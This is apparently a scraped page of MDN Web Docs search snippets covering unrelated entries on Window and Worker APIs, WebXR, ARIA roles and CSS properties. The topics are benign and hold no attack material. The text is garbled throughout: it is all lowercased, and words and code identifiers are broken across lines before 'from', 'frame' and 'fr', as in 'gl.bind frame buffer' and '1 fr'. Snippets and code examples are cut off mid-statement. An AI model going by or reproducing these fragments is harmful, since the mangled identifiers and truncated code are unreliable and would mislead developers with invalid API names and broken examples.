... const popupwindow = null; function re
freshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, re
fresh it popupwindow.location.reload(true); } else { // open a new popup window popupwindow = window.open('popup.html', 'datawindow'); } } specification specification status comment html living standardthe definition of 'window.closed' in that specification.
Window.customElements - Web APIs
browser compatibility the compatibility table in this page is generated
from structured data.
...ox for androidopera for androidsafari on iossamsung internetcustomelementschrome full support 54edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.customelements.enabled preference (needs to be set to true).
... full support 10.1webview android full support 54chrome android full support 54firefox android full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.customelements.enabled preference (needs to be set to true).
Window: deviceorientation event - Web APIs
the deviceorientation event is fired when
fresh data is available
from an orientation sensor about the current orientation of the device as compared to the earth coordinate
frame.
... this data is gathered
from a magnetometer inside the device.
...o interface deviceorientationevent event handler property window.ondeviceorientation examples if (window.deviceorientationevent) { window.addeventlistener("deviceorientation", function(event) { // alpha: rotation around z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta:
front back motion var
fronttoback = event.beta; handleorientationevent(
fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(
fronttoback, lefttoright, rotatedegrees) { // do something amazing }; specifications specification status deviceorientation event specificationthe definition of 'deviceorientation event...
window.dump() - Web APIs
output
from dump() is not sent to the browser console.
...note that dump output
from xpcom components goes to stderr, while dump called elsewhere will output to stdout.
...on other operating systems, it's enough to launch the application
from a terminal.
Window.find() - Web APIs
syntax window.find(astring, acasesensitive, abackwards, awraparound, awholeword, asearchin
frames, ashowdialog); astring the text string for which to search.
... asearchin
frames boolean.
... if true, specifies a search in
frames.
Window.innerHeight - Web APIs
the value of innerheight is taken
from the height of the window's layout viewport.
... both innerheight and innerwidth are available on any window or any object that behaves like a window, such as a tab or
frame.
... example assuming a
frameset var int
frameheight = window.innerheight; // or var int
frameheight = self.innerheight; // will return the height of the
frame viewport within the
frameset var int
framesetheight = parent.innerheight; // will return the height of the viewport of the closest
frameset var intouter
framesetheight = top.innerheight; // will return the height of the viewport of the outermost
frameset fixme: link to an interactive demo here to change the size of a window, see window.resizeby() and window.resizeto().
Window.innerWidth - Web APIs
the interior height of the window—the height of the layout viewport—can be obtained
from the innerheight property.
... the innerwidth property is available on any window or object that behaves like a window, such as a
frame or tab.
... example // this will return the width of the viewport var int
framewidth = window.innerwidth; // this will return the width of the
frame viewport within a
frameset var int
framewidth = self.innerwidth; // this will return the width of the viewport of the closest
frameset var int
framesetwidth = parent.innerwidth; // this will return the width of the viewport of the outermost
frameset var intouter
framesetwidth = top.innerwidth; specification specification status comment css object model (cssom) view modulethe definition of 'window.innerwidth' in that specification.
Window.length - Web APIs
returns the number of
frames (either <
frame> or <i
frame> elements) in the window.
... syntax
framescount = window.length;
framescount is the number of
frames.
... example if (window.length) { // this is a document with sub
frames } specifications specification status comment html living standardthe definition of 'window.length' in that specification.
Privileged features - Web APIs
a dependent window also stays in
front of the parent window.
... dialog the dialog feature removes all icons (restore, minimize, maximize)
from the window's titlebar, leaving only the close button.
...if set to no or 0, this feature removes the titlebar
from the new secondary window.
Window.screenX - Web APIs
syntax leftwindowpos = window.screenx returns a number equal to the number of css pixels
from the left edge of the browser viewport to the left edge of the screen.
...in this example we are using window.screenleft/window.screentop plus window.requestanimation
frame() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...nitialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimation
frame(positionelem); } window.requestanimation
frame(positionelem); these work in exactly the same way as screenx/screeny.
Window.screenY - Web APIs
syntax topwindowpos = window.screeny returns a number equal to the number of css pixels
from the top edge of the browser viewport to the top edge of the screen.
...in this example we are using window.screenleft/window.screentop plus window.requestanimation
frame() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...nitialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimation
frame(positionelem); } window.requestanimation
frame(positionelem); these work in exactly the same way as screenx/screeny.
Window.self - Web APIs
if (window.parent.
frames[0] != window.self) { // this window is not the first
frame in the list } furthermore, when executing in the active document of a browsing context, window is a reference to the current global object and thus all of the following are equivalent: var w1 = window; var w2 = self; var w3 = window.window; var w4 = window.self; // w1, w2, w3, w4 all strictly equal, but only w2 will function in...
... living standard no difference
from the latest snapshot html 5.1 html 5.1the definition of 'window.self' in that specification.
... recommendation no difference
from the html5 html5the definition of 'window.self' in that specification.
Window: unload event - Web APIs
bubbles no cancelable no interface event event handler property onunload it is fired after: beforeunload (cancelable event) pagehide the document is in the following state: all the resources still exist (img, i
frame etc.) nothing is visible anymore to the end user ui interactions are ineffective (window.open, alert, confirm, etc.) an error won't stop the unloading workflow please note that the unload event also follows the document tree: parent
frame unload will happen before child
frame unload (see example below).
... examples <!doctype html> <html> <head> <title>parent
frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 1st one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 3rd one.'); }); </script> </head> <body> <i
frame src="child-
frame.html"></i
frame> </body> </html> below, the content of child-
frame.html: <!doctype html> <html> <head> <title>child
frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 2nd one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 4th and last one…'); }); </script> </head> <body> ...
... ☻ </body> </html> when the parent
frame is unloaded, events will be fired in the order described by the console.log() messages.
WindowOrWorkerGlobalScope.btoa() - Web APIs
the windoworworkerglobalscope.btoa() method creates a base64-encoded ascii string
from a binary string (i.e., a string object in which each character in the string is treated as a byte of binary data).
...for example: // convert a unicode string to a string in which // each 16-bit unit occupies only one byte function tobinary(string) { const codeunits = new uint16array(string.length); for (let i = 0; i < codeunits.length; i++) { codeunits[i] = string.charcodeat(i); } return string.
fromcharcode(...new uint8array(codeunits.buffer)); } // a string that contains characters occupying > 1 byte const mystring = "☸☹☺☻☼☾☿"; const converted = tobinary(mystring); const encoded = btoa(converted); console.log(encoded); // ocy5jjomoyy8jj4mpyy= if you do this, of course you'll have to reverse the conversion on the decoded string: function
frombinary(binary...
...) { const bytes = new uint8array(binary.length); for (let i = 0; i < bytes.length; i++) { bytes[i] = binary.charcodeat(i); } return string.
fromcharcode(...new uint16array(bytes.buffer)); } const decoded = atob(encoded); const original =
frombinary(decoded); console.log(original); // ☸☹☺☻☼☾☿ polyfill you can use a polifill
from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it.
Worker.onmessage - Web APIs
from the dedicatedworkerglobalscope.postmessage method).
...an onmessage handler is also present, to deal with messages that are passed back
from the worker.
... var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received
from worker'); } in the worker.js script, an onmessage handler is used to the handle messages
from the main script: onmessage = function(e) { console.log('message received
from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker, whereas inside the worker script you just need onmessage because the worker is effectively the global scope (dedicatedwo...
WorkerNavigator - Web APIs
the workernavigator interface represents a subset of the navigator interface allowed to be accessed
from a worker.
... properties the workernavigator interface implements properties
from the navigatorid, navigatorlanguage, navigatoronline, navigatordatastore, and navigatorconcurrenthardware interfaces.
... methods the workernavigator interface implements methods
from the navigatorid, navigatorlanguage and navigatoronline interfaces.
XMLDocument - Web APIs
it inherits
from the generic document and does not add any specific methods or properties to it: nevertheless, several algorithms behave differently with the two types of documents.
..." target="_top"><rect x="386" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} property also inherits properties
from: document xmldocument.async used with xmldocument.load() to indicate an asynchronous request.
... methods also inherits methods
from: document xmldocument.load() loads an xml document.
XMLHttpRequest.withCredentials - Web APIs
xmlhttprequest
from a different domain cannot set cookie values for their own domain unless withcredentials is set to true before making the request.
... the third-party cookies obtained by setting withcredentials to true will still honor same-origin policy and hence can not be accessed by the requesting script through document.cookie or
from response headers.
... note: xmlhttprequest responses
from a different domain cannot set cookie values for their own domain unless withcredentials is set to true before making the request, regardless of access-control- header values.
XRInputSourceArray.entries() - Web APIs
most
frequently, you will use this in tandem with statements such as for...of.
...{ checkgamepad(input.gamepad); } else { if (input.targetraymode === "tracked-pointer" && input.handedness === player.handedness) { /* handle main hand controller */ handlemainhandinput(input); } else { /* handle other inputs */ } } } for each input in the llist, gamepad inputs are dispatched to a checkgamepad() with the input's gamepad object, taken
from its gamepad property, as an input for other devices, we look for tracked-pointer devices in the player's main hand, dispatching those to a handlemainhandinput() method.
...pecification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed
from objects that implement the interface.
XRInputSourceArray.forEach() - Web APIs
the callback accepts up to three parameters: currentvalue a xrinputsource object which is the value of the item
from within the xrinputsourcearray which is currently being processed.
...gamepad(input.gamepad); } else { if (input.targetraymode === "tracked-pointer" && input.handedness === player.handedness) { /* handle main hand controller */ handlemainhandinput(input); } else { /* handle other inputs */ } } }); for each input in the llist, the callback dispatches gamepad inputs to a checkgamepad() with the input's gamepad object, taken
from its gamepad property, as an input for other devices, we look for tracked-pointer devices in the player's main hand, dispatching those to a handlemainhandinput() method.
...pecification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed
from objects that implement the interface.
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsourceeventinit dictionary's inputsource property is used when calling the xrinputsourceevent() constructor to specify the xrinputsource
from which the newly-created event is being sent.
...these events are generated by and sent to you by the webxr in
frastructure.
... let event = new xrinputsourceevent("select", {
frame: event
frame, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.inputsource' in that specification.
XRInputSourceEventInit - Web APIs
properties the xrinputsourceeventinit dictionary inherits properties
from the eventinit dictionary.
... it also offers the following:
frame an xr
frame object representing the event
frame during which the event took place.
... inputsource an xrinputsource object representing the input device
from which the event is being sent.
XRInputSourcesChangeEvent.removed - Web APIs
the read-only xrinputsourceschangeevent property removed is an array of zero or more xrinputsource objects representing the input sources which have been removed
from the xrsession.
... syntax removedinputs = xrinputsourceschangeevent.removed; value an array of zero or more xrinputsource objects, each representing one input device removed
from the xr system.
... examples the example below creates a handler for the inputsourceschange event that processes the lists of added and removed
from the webxr system.
XRPermissionStatus.granted - Web APIs
currently, all of these strings come
from the xrreferencespacetype enumerated type.
... for devices with six degrees of
freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the environment.
... xrreferencespace unbounded a tracking space which allows the user total
freedom of movement, possibly over extremely long distances
from their origin point.
XRPose - Web APIs
to obtain the xrpose for the xrspace used as the local coordinate system of an object, call xr
frame.getpose(), specifying that local xrspace and the space to which you wish to convert: thepose = xr
frame.getpose(localspace, basespace); the pose for a viewer (or camera) is represented by the xrviewerpose subclass of xrpose.
... this is obtained using xr
frame.getviewerpose() instead of getpose(), specifying a reference space which has been adjusted to position and orient the node to provide the desired viewing position and angle: viewerpose = xr
frame.getviewerpose(adjreferencespace); here, adjreferencespace is a reference space which has been updated using the base
frame of reference for the
frame and any adjustments needed to position the viewer based on movement or rotation which is being supplied
from a source other than the xr device, such as keyboard or mouse inputs.
... xrpose.emulatedposition read only a boolean value which is false if the position and orientation given by transform is obtained directly
from a full six degree of
freedom (6dof) xr device (that is, a device which tracks not only the pitch, yaw, and roll of the head but also the forward, backward, and side-to-side motion of the viewer).
XRReferenceSpaceEvent.transform - Web APIs
the transform is defined using the old coordinate system, which allows it to be used to convert coordinates
from the pre-event coordinate system to the post-event coordiante system.
... syntax let refspace = xrreferencespaceevent.transform; value an xrrigidtransform object providing a transform that can be used to convert coordinates
from the pre-event coordinate system to the post-event coordinate system.
...alternatively, you can just discard any cached positional information and recompute
from scratch.
XRReferenceSpaceEventInit - Web APIs
you will not usually need to use this, since these events are created by the webxr in
frastructure.
... properties referencespace the xrreferencespace
from which the event originated.
... transform an xrrigidtransform which maps the old coordinate system (
from before the changes indicated by this event) to the new coordiante system.
XRView.eye - Web APIs
the xrview interface's read-only eye property is a string taken
from the xreye enumerated type, indicating which eye's viewpoint the xrview represents: left or right.
... examples this code,
from the viewer pose's renderer, iterates over the pose's views and renders them.
... gllayer = xrsession.renderstate.baselayer; gl.bind
framebuffer(gl.
framebuffer, gllayer.
framebuffer); gl.clearcolor(0,0, 0, 1.0); gl.cleardepth(1.0); gl.clear(gl.color_buffer_bit, gl.depth_buffer_bit); for (let view of xrpose.views) { let skipview = false; if (view.eye == "left" && body.lefteye.injured) || skipview = updateinjury(body.lefteye); } else if (view.eye == "right" && body.righteye.injured) { skipview = updateinjury(body.righteye); } if (!skipview) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height)...
XRView.transform - Web APIs
the read-only transform property of the xrview interface is an xrrigidtransform object which provides the position and orientation of the viewpoint relative to the xrreferencespace specified when the xr
frame.getviewerpose() method was called to obtain the view object.
... in this example, we see an outline of a code
fragment used while rendering an xr
frame, which makes use of the view transform to place objects in the world during rendering.
... note: this example is derived
from a larger example...
XRVisibilityState - Web APIs
values hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimation
frame() callbacks are not being executed until thevisibilitystate changes.
...to that end, the session's requestanimation
frame() callbacks are being processed at the xr device's native re
fresh rate and input controllers are being processed as normal.
...in order to optimize resource utilization, the user agent may be handling the session's requestanimation
frame() callbacks at a throttled rate.
XRWebGLLayer() - Web APIs
the options available are: alpha optional the
frame buffer's color buffer will be established with an alpha channel if the alpha boolean property is true.
...
framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the
frame buffer.
... the static xrwebgllayer function xrwebgllayer.getnative
framebufferscalefactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution.
XRWebGLLayer.antialias - Web APIs
the read-only xrwebgllayer property antialias is a boolean value which is true if the rendering layer's
frame buffer supports antialiasing.
... syntax let antialiasingsupported = xrwebgllayer.antialias; value a boolean value which is true if the webgl rendering layer's
frame buffer is configured to support antialiasing.
... let gllayer = xrsession.renderstate.baselayer; gl.bind
framebuffer(gl.
framebuffer, gllayer.
framebuffer); /* ..
XRWebGLLayerInit - Web APIs
properties alpha optional the
frame buffer's color buffer will be established with an alpha channel if the alpha boolean property is true.
...
framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the
frame buffer.
... the static xrwebgllayer function xrwebgllayer.getnative
framebufferscalefactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution.
Introduction - Web APIs
introduction one noticeable trend in w3c standards has been the effort to separate content
from style.
...this allows xslt to add, remove and reorganize elements
from the original xml document and thus allows more fine-grain control of the resulting document's structure.
...each template matches (using xpath) a certain
fragment of the input xml document and then applies the substitution part on that
fragment to create the new resulting document.
msRegionOverflow - Web APIs
this means that the region is the last one in the region chain and not able to fit the remaining content
from the named flow.
...in particular, in this last case, that means the region may have received no content
from the named flow (for example if the region is too small to accommodate any content).
...all content
from the named flow was fitted in regions with a lower content-order value.
Using the aria-valuenow attribute - Accessibility
when the rendered value cannot be accurately represented as a number, authors should use the aria-valuetext attribute in conjunction with aria-valuenow to provide a user-
friendly representation of the range's current value.
...in this case, the values of aria-valuenow could range
from 1 through 3, which indicate the position of each value in the value space, but the aria-valuetext would be one of the strings: small, medium, or large.
... value string representation of a number possible effects on user agents and assistive technology for elements with role progressbar and scrollbar, assistive technologies should render the actual value as a percentage, calculated as a position on the range
from aria-valuemin to aria-valuemax if both are defined, otherwise the actual value with a percent indicator.
Using the slider role - Accessibility
the slider role is used for markup that allows a user to select a value
from within a given range.
...by 10 on a range
from 0 to 100) possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique.
..."day-handle" class="day-slider-handle" role="slider" aria-labelledby="day-label" aria-valuemin="1" aria-valuemax="7" aria-valuenow="2" aria-valuetext="monday"> </div> </div> the code snippet below shows a function that responds to user input and updates the aria-valuenow and aria-valuetext attributes: var daynames = ["sunday", "monday", "tuesday", "wednesday", "thursday", "
friday", "saturday"]; var updateslider = function (newvalue) { var handle = document.getelementbyid("day-handle"); handle.setattribute("aria-valuenow", newvalue.tostring()); handle.setattribute("aria-valuetext", daynames[newvalue]); }; working examples: slider example notes aria attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation ...
ARIA: row role - Accessibility
le="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="descending">country</span> <span role="columnheader"aria-sort="none">population</span> </div> </div> <div role="rowgroup"> <div role="row"> <span role="cell">finland</span> <span role="cell">5.5 million</span> </div> <div role="row"> <span role="cell">
france</span> <span role="cell">67 million</span> </div> </div> </div> description the element role="row" is a row within a grid, table or treegrid, and optionally within a rowgroup, that is a container for one or more cells, gridcells, columnheaders, or rowheaders within a static tabular structure.
... aria-colindex attribute the aria-colindex attribute is only needed if columns are hidden
from the dom.
... aria-rowindex attribute the aria-rowindex attribute is only needed if rows are hidden
from the dom, to indicate which row, in the list of total rows, is being read.
ARIA: dialog role - Accessibility
the dialog role is used to mark up an html based application dialog or window that separates content or ui
from the rest of the web application or page.
...ialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> description marking up a dialog element with the dialog role helps assistive technology identify the dialog's content as being grouped and separated
from the rest of the page content.
...or="interests">interests</label> <textarea id="interests"></textarea> </p> <p> <input type="checkbox" id="autologin"/> <label for="autologin">auto-login?</label> </p> <p> <input type="submit" value="save information"/> </p> </form> </div> working examples: jquery-ui dialog notes note: while it is possible to prevent keyboard users
from moving focus to elements outside of the dialog, screen reader users may still be able to navigate to that content using their screen reader's virtual cursor.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
a classic example we all know
from our browser settings is the setting “delete history after x days”.
...with firefox 3, your blind users will automatically get better accessibility
from the new attribute, but the users of older browsers are not left in the dark this way.
...with jaws 8, i have not found a way to make it to accept the label
from the example above.
Architecture - Accessibility
when you have an nsiaccessiblehypertext, you can ask for its links, which is the subset of children
from the nsiaccessible hierarchy that are not text or whitespace.
... compute the item offset relative to the start of this line search forward
from the starting offset for an embed character if an embed character is found, continue processing with offset = index plus the line start index if an embed character is not found: if the line ending is equal to one less than the length of all text in the accessible, proceed to the next accessible in dept first search order and recurse on the first character until a n...
...therefore for parent nodes that support the hypertext interface, it is more performant to grab the text
from the accessibletext interface and then only visit the link children.
:nth-last-of-type() - CSS: Cascading Style Sheets
the :nth-last-of-type() css pseudo-class matches elements of a given type, based on their position among a group of siblings, counting
from the end.
... /* selects every fourth <p> element among any group of siblings, counting backwards
from the last one */ p:nth-last-of-type(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-of-type, except it counts items backwards
from the end, not forwards
from the beginning.
... syntax the nth-last-of-type pseudo-class is specified with a single argument, which represents the pattern for matching elements, counting
from the end.
src - CSS: Cascading Style Sheets
syntax /* <url> values */ src: url(https://somewebsite.com/path/to/font.woff); /* absolute url */ src: url(path/to/font.woff); /* relative url */ src: url(path/to/font.woff) format("woff"); /* explicit format */ src: url('path/to/font.woff'); /* quoted url */ src: url(path/to/svgfont.svg#example); /*
fragment identifying font */ /* <font-face-name> values */ src: local(font); /* unquoted name */ src: local(some font); /* name containing space */ src: local("font"); /* quoted name */ /* multiple items */ src: local(font), url(path/to/font.svg) format("svg"), url(path/to/font.woff) format("woff"), url(path/to/font.otf) format("opentype"); values <url> [ format( <string># )...
...
fragment identifiers are used to indicate which font to load.
... if a container format lacks a defined
fragment identifier scheme, a simple 1-based indexing scheme (e.g., "font-collection#1" for the first font, "font-collection#2" for the second font, etc.) is used.
update - CSS: Cascading Style Sheets
the update css media feature can be used to test how
frequently (if at all) the output device is able to modify the appearance of content.
... syntax the update feature is specified as a single keyword value chosen
from the list below.
... examples html <p>if this text animates for you, you are using a fast-updating device.</p> css @key
frames jiggle {
from { transform: translatey(0); } to { transform: translatey(25px); } } @media (update: fast) { p { animation: 1s jiggle linear alternate infinite; } } result specifications specification status comment media queries level 4the definition of 'update' in that specification.
Coordinate systems - CSS: Cascading Style Sheets
the position is specified as the number of pixels offset
from the origin along each dimension of the context.
... when drawing 3d graphics, or using a third dimension to layer objects
from
front to back, the z-coordinate is also used.
... this specifies the distance away
from the viewer if positive and toward the viewer if negative.
CSS Animations - CSS: Cascading Style Sheets
css animations is a module of css that lets you animate the values of css properties over time, using key
frames.
... the behavior of these key
frame animations can be controlled by specifying their timing function, duration, their number of repetitions, and other attributes.
... reference css properties animation animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function css at-rules @key
frames guides detecting css animation support describes a technique for detecting if a browser supports css animations.
Handling Overflow in Multicol - CSS: Cascading Style Sheets
more columns than will fit how overflowing columns are handled depends on whether you are in a
fragmented media context, such as print, or a continuous media context, such as a web page.
... in
fragmented media, once a
fragment (for example a page) is filled with columns, the columns will move to a new page and fill that up with columns.
... in the final guide in this series we will see how multicol works with the
fragmentation spec to give us control over how content breaks between columns.
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
to create a flex container you would use display: box and there were a number of box-* properties, which did things that you will recognise
from flexbox today.
...browser support for the up-to-date version of the specification is excellent
from this point forward.
... you can test the fallback behaviour by removing display: flex
from the wrapper.
CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout excels at dividing a page into major regions or defining the relationship in terms of size, position, and layer, between parts of a control built
from html primitives.
...33,171,88); border-radius: 5px; background-color: rgba(233,171,88,.5); padding: 1em; color: #d9480f; } html <div class="wrapper"> <div class="one">one</div> <div class="two">two</div> <div class="three">three</div> <div class="four">four</div> <div class="five">five</div> <div class="six">six</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-gap: 10px; grid-auto-rows: minmax(100px, auto); } .one { grid-column: 1 / 3; grid-row: 1; } .two { grid-column: 2 / 4; grid-row: 1 / 3; } .three { grid-column: 1; grid-row: 2 / 5; } .four { grid-column: 3; grid-row: 3; } .five { grid-column: 2; grid-row: 4; } .six { grid-column: 3; grid-row: 4; } reference css properties grid-template-columns grid-temp...
...yout methods layout using line-based placement grid template areas layout using named grid lines auto-placement in css grid layout box alignment in css grid layout css grid, logical values and writing modes css grid layout and accessibility css grid and progressive enhancement realising common layouts using css grid subgrid external resources css grid and ie11 (polyfill) examples
from jen simmons grid by example - a collection of usage examples and video tutorials codrops grid reference firefox devtools css grid inspector css grid playground grid garden - a game for learning css grid specifications specification status comment css grid layout module level 2 working draft added subgrids.
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
therefore we describe boxes as having a width and height, position items
from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc.
...change writing-mode
from vertical-rl to horizontal-tb on .grid to see how the different properties change the layout.
...some of the properties are essentially mappings
from the physical versions, for example inline-size for width or margin-inline-start rather than margin-left.
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
you can also try changing the writing-mode
from horizontal-tb to vertical-rl.
... you can also try changing the writing-mode
from horizontal-tb to vertical-rl.
...as with the other demos try changing the direction property to rtl to cause the boxes to display in a right-to-left direction, or changing the writing-mode
from horizontal-tb to vertical-rl.
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
however, it can cause problems if the content is larger than you expect — users may find themselves in the
frustrating position of never being able to scroll and view a certain point in the content.
...when we snap to the start of the second and third sections, the scrolling stops 40 pixels away
from the start of the section.
... margins on scroll children the scroll-margin property can be set set on child elements, essentially defining an outset
from the defined box.
Card - CSS: Cascading Style Sheets
when setting up the single column grid i use the following: .card { display: grid; grid-template-rows: max-content 200px 1
fr; } the heading track is set to max-content, which prevents it
from stretching.
...i then set the next track — which is where the content lives — to 1
fr.
...this would be a reasonable way to lay out the card, although i have a slight preference for being able to control the tracks
from the container rather than needing to add rules to the items.
Sticky footers - CSS: Cascading Style Sheets
grid auto-placement will place our items in source order and so the header goes into the first auto sized track, the main content into the 1
fr track and the footer into the final auto sized track.
... the 1
fr track will take up all available space and so grows to fill the gap.
...then we set our main content to flex-grow: 1 and the other two elements to flex-shrink: 0 — this prevents them
from shrinking smaller when content fills the main area.
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
custom properties are subject to the cascade and inherit their value
from their parent.
...with the following css: .two { --test: 10px; } .three { --test: 2em; } in this case, the results of var(--test) are: for the class="two" element: 10px for the class="three" element: 2em for the class="four" element: 10px (inherited
from its parent) for the class="one" element: invalid value, which is the default value of any custom property keep in mind that these are custom properties, not actual variables like you might find in other programming languages.
... // get variable
from inline style element.style.getpropertyvalue("--my-var"); // get variable
from wherever getcomputedstyle(element).getpropertyvalue("--my-var"); // set variable on inline style element.style.setproperty("--my-var", jsvar + 4); ...
Visual formatting model - CSS: Cascading Style Sheets
box generation box generation is the part of the css visual formatting model that creates boxes
from the document's elements.
... something to consider about these anonymous boxes is that they inherit styles
from their direct parent, but you cannot change how they look by targeting the anonymous box.
... absolute positioning in the absolute positioning model (which also includes fixed positioning), a box is removed
from the normal flow entirely and assigned a position with respect to a containing block (which is the viewport in the case of fixed positioning).
animation-direction - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated
from structured data.
...webkit-firefox full support 16 full support 16 full support 49prefixed prefixed implemented with the vendor prefix: -webkit- full support 44prefixed disabled prefixed implemented with the vendor prefix: -webkit-disabled
from version 44: this feature is behind the layout.css.prefixes.webkit preference (needs to be set to true).
...irefox android full support 16 full support 16 full support 49prefixed prefixed implemented with the vendor prefix: -webkit- full support 44prefixed disabled prefixed implemented with the vendor prefix: -webkit-disabled
from version 44: this feature is behind the layout.css.prefixes.webkit preference (needs to be set to true).
background-attachment - CSS: Cascading Style Sheets
syntax /* keyword values */ background-attachment: scroll; background-attachment: fixed; background-attachment: local; /* global values */ background-attachment: inherit; background-attachment: initial; background-attachment: unset; the background-attachment property is specified as one of the keyword values
from the list below.
...if the element has a scrolling mechanism, the background scrolls with the element's contents, and the background painting area and background positioning area are relative to the scrollable area of the element rather than to the border
framing them.
...each image is matched with the corresponding attachment type,
from first specified to last.
background-position-x - CSS: Cascading Style Sheets
<length> the offset of the given background image's left vertical edge
from the background position layer's left vertical edge.
... browser compatibility the compatibility table in this page is generated
from structured data.
... full support 18firefox android full support 49opera android full support 18safari ios full support 1samsung internet android full support 1.0two-value syntax (support for offsets
from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie full support 9opera no support nosafari no support nowebview andro...
background-position-y - CSS: Cascading Style Sheets
<length> the offset of the given background image's horizontal edge
from the corresponding background position layer's top horizontal edge.
... browser compatibility the compatibility table in this page is generated
from structured data.
... full support 18firefox android full support 49opera android full support 14safari ios full support 1samsung internet android full support 1.0two-value syntax (support for offsets
from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie full support 9opera no support nosafari no support nowebview andro...
border - CSS: Cascading Style Sheets
to make them different
from each other, however, you can use the longhand border-width, border-style, and border-color properties, which accept different values for each side.
...however, outlines differ
from borders in the following ways: outlines never take up space, as they are drawn outside of an element's content.
... browser compatibility the compatibility table in this page is generated
from structured data.
caption-side - CSS: Cascading Style Sheets
this value was proposed for css 2, but removed
from the final css 2.1 specification.
... this value was proposed for css 2, but removed
from the final css 2.1 specification.
... browser compatibility the compatibility table on this page is generated
from structured data.
content - CSS: Cascading Style Sheets
the generated text is the value of all counters with the given name in scope at the given pseudo-element,
from outermost to innermost, separated by the specified string.
... open-quote | close-quote these values are replaced by the appropriate string
from the quotes property.
..., <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
element() - CSS: Cascading Style Sheets
the element() css function defines an <image> value generated
from an arbitrary html element.
... working draft deferred
from css3 images.
... browser compatibility the compatibility table on this page is generated
from structured data.
<flex> - CSS: Cascading Style Sheets
syntax the <flex> data type is specified as a <number> followed by the unit
fr.
... the
fr unit represents a
fraction of the leftover space in the grid container.
... examples 1
fr /* using an integer value */ 2.5
fr /* using a float value */ specifications specification status comment css grid layoutthe definition of '<flex>' in that specification.
float - CSS: Cascading Style Sheets
the element is removed
from the normal flow of the page, though still remaining a part of the flow (in contrast to absolute positioning).
... table-row block table-row-group block table-column block table-column-group block table-cell block table-caption block table-header-group block table-footer-group block inline-flex flex inline-grid grid other unchanged note: if you're referring to this property
